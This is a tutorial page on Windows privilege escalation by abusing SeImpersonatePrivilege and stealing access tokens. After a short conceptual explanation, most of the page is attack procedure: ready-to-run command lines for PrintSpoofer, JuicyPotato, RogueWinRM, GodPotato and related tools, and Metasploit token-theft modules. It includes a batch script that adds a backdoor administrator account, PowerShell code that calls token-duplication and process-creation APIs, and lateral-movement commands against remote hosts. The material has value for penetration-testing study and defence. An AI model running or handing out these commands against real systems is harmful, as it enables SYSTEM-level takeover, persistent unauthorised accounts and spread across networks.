Token impersonation and SeImpersonatePrivilege abuse
Understanding Windows Access Tokens
What Are Access Tokens?
Think of Windows access tokens like ID badges at a secure building. Just as your badge determines which floors you can access, which doors you can open, and what resources you can use, access tokens determine what a process or thread can do on a Windows system.
Every time you log into Windows or a service starts, the system creates an access token that contains:
User Identity - Who you are (like your name on the badge)
Group Memberships - What groups you belong to (like departments on the badge)
Privileges - Special rights you have (like "can access server room" or "can reset passwords")
Security Identifier (SID) - A unique ID for your account
How Token Impersonation Works
Token impersonation is like temporarily borrowing someone else's ID badge. In Windows, this is a legitimate feature that allows services to act on behalf of users. For example:
A web server might impersonate a logged-in user to access their files
A database service might impersonate different users to enforce permissions
A print spooler might impersonate users to access their documents
The Problem: If you can trick a high-privileged service into connecting to you, you can steal and use its token to gain those same high privileges.
Real-World Token Example
Normal User Token:
User: DOMAIN\regularuser
Groups: Domain Users, Local Users
Privileges: SeShutdownPrivilege, SeChangeNotifyPrivilege
Integrity Level: Medium
SYSTEM Token:
User: NT AUTHORITY\SYSTEM
Groups: Everyone, Local Users, Administrators
Privileges: ALL privileges including SeImpersonatePrivilege, SeDebugPrivilege, SeTcbPrivilege
Integrity Level: System (Highest)
When you impersonate the SYSTEM token, you inherit ALL of those privileges and can do anything on the system.
Understanding SeImpersonatePrivilege
SeImpersonatePrivilege is like having a master key that allows you to temporarily become any user who connects to your process. This privilege is commonly assigned to:
Service accounts (like IIS application pools, SQL Server service accounts)
Local Service and Network Service accounts
Web application processes
Database service processes
Important Prerequisites: Not all accounts with SeImpersonatePrivilege can exploit it in every context. The exploitation generally requires:
The process to have the SeImpersonatePrivilege enabled (not just assigned)
An impersonation-capable token (not restricted by integrity levels)
Running in a service context or from a vulnerable scheduled task/service
A local interactive session may not be sufficient unless you're running from a service context
💡 Note: Simply having SeImpersonatePrivilege in a regular user session doesn't guarantee exploitation success. The privilege is most exploitable when you're already in a service context (like IIS worker process, SQL Server context, or compromised service account).
Why This Privilege Is Dangerous
Having SeImpersonatePrivilege means you can:
Listen for incoming connections from high-privileged processes
Capture their tokens when they connect to you
Impersonate those tokens to gain their privileges
Execute commands with those elevated privileges
The key insight is that Windows services running as SYSTEM often need to connect to user processes or services, and when they do, you can steal their tokens.
Enumeration
Checking Current Token Information
View current user privileges:
whoami /priv
Look for these key privileges:
SeImpersonatePrivilege - Can impersonate other users' tokens
SeAssignPrimaryTokenPrivilege - Can assign primary tokens to processes
SeDebugPrivilege - Can debug and access other processes
SeTcbPrivilege - Trusted computer base privilege (very high level)
Check current user and groups:
whoami /all
This shows:
Your current username
All groups you belong to
Your complete privilege list
Your Security Identifier (SID)
PowerShell token analysis:
# Get current process token information
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, User, Groups
# Check for impersonation privileges
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object System.Security.Principal.WindowsPrincipal($currentUser)
if ($principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Output "[+] Running with Administrator privileges"
} else {
Write-Output "[-] Not running as Administrator"
}
# Check specific privileges
whoami /priv | Select-String "SeImpersonatePrivilege|SeAssignPrimaryTokenPrivilege|SeDebugPrivilege"
Identifying Service Contexts
Find processes running as SYSTEM:
tasklist /v | findstr "SYSTEM"
PowerShell service account enumeration:
# Get services and their associated accounts
Get-WmiObject -Class Win32_Service | Where-Object {
$_.StartName -ne $null -and $_.StartName -ne ""
} | Select-Object Name, StartName, State, PathName | Format-Table -AutoSize
# Look for services with interesting privileges
Get-WmiObject -Class Win32_Service | Where-Object {
$_.StartName -like "*SERVICE*" -or
$_.StartName -like "*NETWORK SERVICE*" -or
$_.StartName -eq "LocalSystem"
} | Select-Object Name, StartName, State
Web Application Context Detection
IIS application pool identification:
# Check if running in IIS context
echo %APP_POOL_ID%
# Check IIS worker processes
tasklist | findstr w3wp
ASP.NET identity check:
# If in web context, check application pool identity
if ($env:APP_POOL_ID) {
Write-Output "[+] Running in IIS Application Pool: $($env:APP_POOL_ID)"
whoami /priv | Select-String "SeImpersonatePrivilege"
}
SeImpersonatePrivilege Exploitation
Understanding the Attack Methodology
The core idea behind SeImpersonatePrivilege abuse is to trick a SYSTEM-level service into connecting to your malicious service, then steal its token. This is like setting up a fake service desk that looks legitimate, so when a high-security person comes to ask for help, you can steal their credentials.
Common Attack Vectors
1. Print Spooler Abuse
Abuse the Windows Print Spooler service
Force it to authenticate to your fake print server
Steal the SYSTEM token it uses for authentication
2. Windows Management Instrumentation (WMI) Service Abuse
Target WMI services that run with elevated privileges
Force authentication to attacker-controlled endpoints
Capture and impersonate high-privilege tokens
3. DCOM/RPC Service Exploitation
Abuse legitimate Windows DCOM objects
Force them to authenticate to malicious services
Leverage their SYSTEM-level tokens for privilege escalation
PrintSpoofer Attack
PrintSpoofer is one of the most reliable modern techniques for SeImpersonatePrivilege abuse. It works by abusing the Print Spooler service.
How PrintSpoofer Works
Step-by-step process:
Create a fake print server that listens for connections
Trigger the Print Spooler to connect to your fake server
Capture the SYSTEM token when Print Spooler connects
Impersonate the token to run commands as SYSTEM
PrintSpoofer Execution
Basic PrintSpoofer usage:
# Download PrintSpoofer.exe to target system
PrintSpoofer.exe -i -c cmd
What this command does:
-i
= Interactive mode (gives you an interactive command prompt)-c cmd
= Execute cmd.exe with the impersonated token
Alternative execution methods:
# Execute specific command as SYSTEM
PrintSpoofer.exe -c "net user hacker Password123! /add"
# Execute PowerShell as SYSTEM
PrintSpoofer.exe -i -c powershell
# Execute batch file as SYSTEM
PrintSpoofer.exe -c "C:\temp\payload.bat"
PrintSpoofer with Custom Payloads
Creating a privilege escalation script:
@echo off
echo [+] PrintSpoofer Privilege Escalation
echo [+] Creating administrative user...
net user pwned Password123! /add
net localgroup administrators pwned /add
net localgroup "Remote Desktop Users" pwned /add
echo [+] User 'pwned' created with administrative privileges
echo [+] Password: Password123!
Execution:
PrintSpoofer.exe -c "C:\temp\escalate.bat"
JuicyPotato Attack (Legacy)
JuicyPotato was the predecessor to PrintSpoofer and works on older Windows versions (Windows 7, Windows Server 2008/2012).
How JuicyPotato Works
Attack methodology:
Identify a vulnerable COM object that runs as SYSTEM
Create a malicious COM server that the object will connect to
Force the COM object to authenticate to your server
Steal and impersonate the SYSTEM token
JuicyPotato Usage
Basic execution:
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t *
Parameter explanation:
-l 1337
= Listen on port 1337 for COM connections-p c:\windows\system32\cmd.exe
= Program to execute with SYSTEM privileges-t *
= Try all available COM objects (automatic mode)
Advanced usage with specific CLSID:
# Use specific COM object (faster, more reliable)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
Custom payload execution:
JuicyPotato.exe -l 1337 -p c:\temp\payload.exe -t *
RogueWinRM Attack
RogueWinRM exploits the Windows Remote Management (WinRM) service for token impersonation.
RogueWinRM Methodology
Attack process:
Create a fake WinRM server that mimics the real service
Redirect WinRM traffic to your fake server
Capture authentication tokens from connecting services
Use captured tokens for privilege escalation
RogueWinRM Execution
Basic usage:
RogueWinRM.exe -p "C:\windows\system32\cmd.exe" -a "/c net user hacker Password123! /add"
Interactive shell:
RogueWinRM.exe -p "C:\windows\system32\cmd.exe"
Modern Potato Exploits
SweetPotato
An updated version of JuicyPotato that works on newer Windows versions:
SweetPotato.exe -p c:\windows\system32\cmd.exe -a "/c whoami > C:\temp\proof.txt"
GodPotato
Latest evolution of the potato family, designed for Windows 10/11:
GodPotato.exe -cmd "cmd /c net user admin Password123! /add"
RemotePotato0
Uses NTLM relay via DCOM for cross-session token theft:
RemotePotato0.exe -m 2 -r 192.168.1.100 -x 192.168.1.100 -p 9999 -s 1
PrintNightmare Integration
When available, PrintNightmare (CVE-2021-34527) can be combined with token impersonation:
# First exploit PrintNightmare to gain SYSTEM context
# Then use any potato variant from that context
Metasploit Integration
Meterpreter Token Manipulation
Incognito module for token impersonation:
# Load incognito module in meterpreter
meterpreter > load incognito
# List available tokens
meterpreter > list_tokens -u
# Impersonate specific token
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
# Check current user after impersonation
meterpreter > getuid
Token stealing from processes:
# Steal token from specific process
meterpreter > steal_token [PID]
# Get system via token theft
meterpreter > getsystem
# Revert to original token
meterpreter > rev2self
Metasploit Local Exploits
Potato-based exploits in Metasploit:
# JuicyPotato exploit
use exploit/windows/local/ms16_075_reflection_juicy
# PrintSpoofer-based exploit
use exploit/windows/local/cve_2020_1048_printerdemon
# Service impersonation exploits
use exploit/windows/local/service_permissions
Post-exploitation token modules:
# Enumerate tokens
use post/windows/gather/enum_tokens
# Dump tokens from memory
use post/windows/gather/smart_hashdump
# Token manipulation
use post/windows/manage/priv_migrate
Attack Decision Tree
Choosing the right tool:
Windows 10/11 and Server 2016+:
First choice: PrintSpoofer
Alternative: GodPotato, RemotePotato0
Backup: SweetPotato
Metasploit: exploit/windows/local/cve_2020_1048_printerdemon
Windows 7/8 and Server 2008/2012:
First choice: JuicyPotato
Alternative: RogueWinRM
Metasploit: exploit/windows/local/ms16_075_reflection_juicy
All versions:
Meterpreter: Incognito module with token manipulation
Advanced: Tokenvator for comprehensive token operations
Advanced Token Manipulation
Understanding Token Types
Windows has different types of tokens with different capabilities:
Primary vs Impersonation Tokens
Primary Token:
Represents the security context of a process
Used when a process is created
Cannot be easily transferred between processes
Impersonation Token:
Temporary token used by threads
Can be passed between processes
Easier to manipulate and abuse
Token Integrity Levels
System Level: Highest integrity, unlimited access High Level: Administrator privileges Medium Level: Standard user privileges Low Level: Restricted privileges (like web browsers)
Advanced Token Analysis
PowerShell Token Information Extraction
Extract detailed token information:
# Get current token handle
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class TokenManipulation {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool GetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength, out uint ReturnLength);
}
"@
# Get current process token
$processHandle = [TokenManipulation]::GetCurrentProcess()
$tokenHandle = [IntPtr]::Zero
$success = [TokenManipulation]::OpenProcessToken($processHandle, 0x20008, [ref]$tokenHandle)
if ($success) {
Write-Output "[+] Successfully opened process token: $tokenHandle"
} else {
Write-Output "[-] Failed to open process token"
}
Token Elevation and Process Creation
Advanced token manipulation using Windows APIs:
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
public class TokenElevation {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
int dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
int dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateTokenEx(
IntPtr ExistingTokenHandle,
uint DesiredAccess,
IntPtr lpThreadAttributes,
int ImpersonationLevel,
int TokenType,
out IntPtr DuplicateTokenHandle
);
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO {
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION {
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
}
"@
# Example: Create elevated process with stolen token
$startupInfo = New-Object TokenElevation+STARTUPINFO
$startupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($startupInfo)
$processInfo = New-Object TokenElevation+PROCESS_INFORMATION
# Assume $stolenToken contains a SYSTEM token
# [TokenElevation]::CreateProcessWithTokenW($stolenToken, 0, "cmd.exe", $null, 0, [IntPtr]::Zero, $null, [ref]$startupInfo, [ref]$processInfo)
Lateral Movement via Stolen Tokens
Once a high-privilege token is impersonated or duplicated, it can be used for lateral movement:
Access remote administrative shares:
# After impersonating SYSTEM token
net use \\TARGET\C$ /persistent:no
# Access remote registry
reg query \\TARGET\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion /s
Execute remote commands via WMI:
# Using impersonated context for WMI commands
Get-WmiObject -Class Win32_Process -ComputerName TARGET -Credential $ImpoersonatedCredential
# Remote process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c net user" -ComputerName TARGET
PowerShell remoting with stolen context:
# Establish remote session using impersonated token
$session = New-PSSession -ComputerName TARGET
Invoke-Command -Session $session -ScriptBlock { whoami; Get-Process }
Tools for lateral movement:
Tokenvator - Comprehensive token manipulation and lateral movement
Incognito (Meterpreter) - Token stealing and impersonation
Rubeus - Kerberos delegation abuse with stolen tokens
Find and analyze high-privilege processes:
# Look for processes running as SYSTEM with valuable tokens
Get-Process | Where-Object {
try {
$owner = (Get-WmiObject -Class Win32_Process -Filter "ProcessId = $($_.Id)").GetOwner()
$owner.User -eq "SYSTEM" -or $owner.Domain -eq "NT AUTHORITY"
} catch {
$false
}
} | Select-Object Name, Id, @{Name="Owner";Expression={
try {
$owner = (Get-WmiObject -Class Win32_Process -Filter "ProcessId = $($_.Id)").GetOwner()
"$($owner.Domain)\$($owner.User)"
} catch {
"Unknown"
}
}}
Service Account Token Analysis
Target specific high-value service accounts:
# Look for services running with interesting accounts
Get-WmiObject -Class Win32_Service | Where-Object {
$_.StartName -like "*sql*" -or
$_.StartName -like "*iis*" -or
$_.StartName -like "*exchange*" -or
$_.StartName -like "*backup*" -or
$_.StartName -eq "LocalSystem"
} | Select-Object Name, StartName, State, PathName | Format-Table -AutoSize
# These accounts often have elevated privileges in enterprise environments
Windows Token Integrity Levels
Understanding token integrity levels is crucial for privilege escalation:
System Level (Highest):
Unrestricted access to all system resources
Can modify system files and registry
Can install drivers and system services
High Level (Administrator):
Administrative privileges but some restrictions
Cannot modify system integrity files without UAC
Can perform most administrative tasks
Medium Level (Standard User):
Normal user privileges
Limited system access
Cannot modify system settings
Low Level (Restricted):
Highly restricted environment
Used by sandboxed applications
Very limited file system and registry access
Last updated
Was this helpful?